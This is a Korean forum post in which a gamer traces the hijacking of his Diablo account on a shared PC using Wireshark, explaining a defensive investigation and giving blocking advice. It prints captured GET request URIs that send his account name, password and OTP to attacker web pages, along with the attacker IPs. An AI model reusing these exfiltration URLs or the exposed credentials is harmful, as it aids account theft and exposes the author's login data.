일단 지금 제가 사용하고 있는 피시에 디아블로는 깔려있지 않았었습니다.
내가 디아블로를 할지 블소를 할지 모르는 상황이었습니다. 게임 설치 끝나고 로그인하려는데 error3 이 나오더군요
내가 잘못 입력했나 싶어서 다시 넣는데도 동일합니다.
전 키로거에 대한 기반 해킹을 항상 의심하기 때문에 키보드 입력 순서를 항상 랜덤하게 입력합니다.
예를들면 제 계정이 timedark@korea.com 이라고 했을때 키보드에 입력할땐
kcom.rea@darktime이렇게 칩니다 커서는 마우스로 이동시켜가면서 말이죠 마찬가지로 비밀번호와 otp번호도 커서이동으로 입력합니다
오늘도 어김없이 그렇게 입력했는데도 해킹을 당했네요
그래서 찾아봤습니다 해킹의 경로가 어떻게 되는지 무슨 원리로 해킹을 하는지 말이지요
네트워크 패킷 분석을 위해 wireshark 프로그램을 설치 했습니다.
네트워크 계열 일하시는 분이면 다들 알고 계실겁니다 네트워크 장치(랜카드)에 송수신되는 모든 패킷을 수집해줍니다.
그럼 제 계정정보가 어떻게 빠져나갔다 살펴보기 위해 샤크를 실행해서 단 하나뿐인 랜카드를 선택하여 패킷 수집을하고
해킹때와 동일한 방법으로 디아블로를 실행하고 로그인 합니다.
일단 패킷 내용을 살펴보면 182.162.132.193 아이피로 베틀넷 시그널이 들어가도록되어있으며
패킷 데이터를 보면 해석 불가능한 문자 입니다. 이것은 곧 디아블로 클라이언트 프로그램에서
계정정보를 전송할때 암호화 한다는것을 반증 합니다. 스니핑에 의한 변조를 막기 위한 방편입니다,
근데 중간에 패킷시퀀스를따라 내려가 보니 제 계정정보가 들어간 패킷 있었습니다. 내용을 살펴보니
Full request URI: http://bhiz.info/ddd/mail.asp?a12=2012118164936&a1=BBBB&a2=BBBB&a3=timedark@korea.com&a4=a023789456&a9=&a6=&a10=&a11=0&a5=&a7=&pc1=&pc2=
URL을통해 제 계정정보가 외부로 나가고 있있었습니다.
특정 웹페이지에 GET방식으로 특정 변수를 받아 낼 수 있도록 mail.asp라는 웹페이지를 미리 만들어두었네요
http://bhiz.info/ddd/mail.asp 라는 페이지에 각종 변수에 제 계정정보를 넣어서 웹페이지를 호출한겁니다.
a12는 날짜시간, a3는 계정, a4는 계정 비밀번호 입니다. 아직 OTP는 아직 입력하지 않았으니까 안보입니다
일단 http://bhiz.info 라는 웹서버가 가지는 IP는 110.34.131.234 입니다.
그럼 OTP를 입력하는 부분까지 테스트를 진행 해본 결과
Full request URI: http://ot.v4kr.com/mxdotp/mail.asp?a12=2012118164936&a1=BBBB&a2=BBBB&a3=timedark@korea.com&a4=a023789456&a9=00215211&a6=&a10=&a11=0&a5=&a7=&pc1=&pc2=
이와 같은 페이지가 호출 되었습니다. 이번엔 a9라는 변수에 입력한 OTP 번호가 들어가 있네요
해킹 프로그램은 두번의 이벤트로 계정정보를 외부 웹서버로 전송하고있었습니다.
일단 해킹에 대한 문제 부분은 일체 블리자드사에 문제가 없음을 이번을 통해서도 알게 됩니다. 문제는 본인 컴퓨터지
블리자드 서버가 아니라는겁니다. 게시글 보면 블리자드 OTP가 털렸네 서버가 털렸네 하는데 문제는 본인 컴퓨터지
블리자드 서버에 괜한 악감정를 가지는건 바보짓입니다.
외부 유출 경로는 알아냈지만 정확한 해킹 원리를 알아내지 못하여 몇가지 테스트를 진행 하였습니다.
일단 error3이 왜 뜨는가?
error3 코드 내용은 계정정보가 올바르지 못하다는 내용입니다. 근데 난 정확하게 입력하고 있었는데!?
해킹당한 시점에서 회사에 제컴퓨터에 VPN으로 원격을 열어둔게 있어 연결해서 그자리에서 동일한 키보드를 통해
값을 입력해보니 정상적으로 로그인 되었고 벗고있는 제 케릭이 보였습니다.... ㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠ
여기서 예상되는 내용은 해킹툴은 사용자가 입력하는 값을 외부로 보낼 뿐만 아니라 입력값을 변조해서 베틀넷 서버로
전송한다는 점입니다. 아쉽게도 베틀넷으로 전송되는 값은 암호화 되어있어 제가 해석할 수가 없어 증거를 보여드릴순
없으나 똑같은 입력 값으로 다른 컴퓨터에서 로그인이 된다는건 좀비피시의 문제로 밖에 볼수 없는것입니다.
그럼 해킹툴은 어떻게 작동하고있는가?
이제 해킹툴이 어떻게 내가 사용하는 피시에서 동작하는지를 알아보려 작업관리자를 열어 프로세스를하나씩 죽여가면서
테스트를 진행 하였습니다. 결론은 프로세스 형태로 동작하지 않았다 입니다.
그럼 예상되는건 윈도우 서비스 형태로 등록 하여 백그라운드로 실행되는가?
시작프로그램에 등록하는 방법 외에 서비스에 등록하여 서비스에서 특정 프로세스를 눈에 보이지 않게 실행시킬수
있는 점에 착안하여 불필요한 서비스들은 전부 죽이거나 삭제시켜서 최소 시스템에 필요한 서비스만 남겨놓고
테스트를 진행 하였습니다. 결론은 서비스도 해킹툴이 동작하는 곳이 아니다 라는 점입니다.
그럼 가능성이 있는건 디아블로 클라이언트 변조 입니다.
응용프로그램의 변조를 통해 로그인 동작 순서에 해킹을 위한 웹페이지 호출 내용을 집어넣었지 않겠느냐는 가설입니다.
이부분에 대한 테스트는 어떻게 진행해야 검증이 될지 모르겠어서 해보진 않았습니다만 한가지 확실한건
제가 해킹을 당한 컴퓨터를 사용하기 전에 그 컴퓨터엔 디아블로가 설치되어 있지 않았다는 입니다.
특정 응용프로그램 내의 변수값을 키로거 방식이아닌 방법으로 알아낸다는 것은 프로그램의 변조가 가장 의심 됩니다.
바이러스 형태로 좀비 피시에 상주에 있다가 디아블로라는 응용프로그램이 실행되는 순간에 변조를 시키는 것입니다.
이것은 어디까지나 가정이며 정확한 테스트를 진행하지 않았습니다.
백신 프로그램을 사용하시는 분들은 110.34.131.234, 98.126.33.11 두개 아이피에 대한 전송을 차단해두시기 바랍니다.
제가 사용한 피시는 좀비피시 였으며 여기에 설치된 프로그램이 해킹범의 데이터베이스에 전송한 아이피가 저거일뿐
다른 프로그램 다른 배포자의 경우 아이피또한 다를 수 있습니다. wireshark 프로그램에 대한 자세한 설명은
사용법은 CTRL+I 하시면 랜카드를 선택 할 수 있으며 피시 아이피가 보이는 랜카드를 선택 한 후 start 버튼을 누르면
해당 랜카드의 패킷 수집을 시작합니다.
수집되는 패킷이 굉장히 많기 떄문에 필터링이 필요합니다. 수집 리스트 상단에 필터란에
ip.addr==192.168.0.1 <-- 본인 PC아이피
본인아이피확인하는 방법 시작-실행-cmd 콘솔창에 ipconfig
위와같이필터링을 하고 난 후 디아블로를 실행 로그인해보면 정상적인 경우 베틀넷 서버로만 TCP통신하는것이 보이고
해킹이 되는 경우 HTTP 프로토콜로 외부 유출이 확인 됩니다.
두줄요약.
해킹은 블리자드 서버가 아니라 당하는사람 컴퓨터에 문제다.
블리자드 서버가 문제 있어서 해킹이 이루어지는 것이 아니라 본인 컴퓨터에서 이루어진다.
불특정 다수가 사용하는 피시는 되도록 사용하지말고 한번이라도 해킹당한 컴퓨터는 포멧을 하자.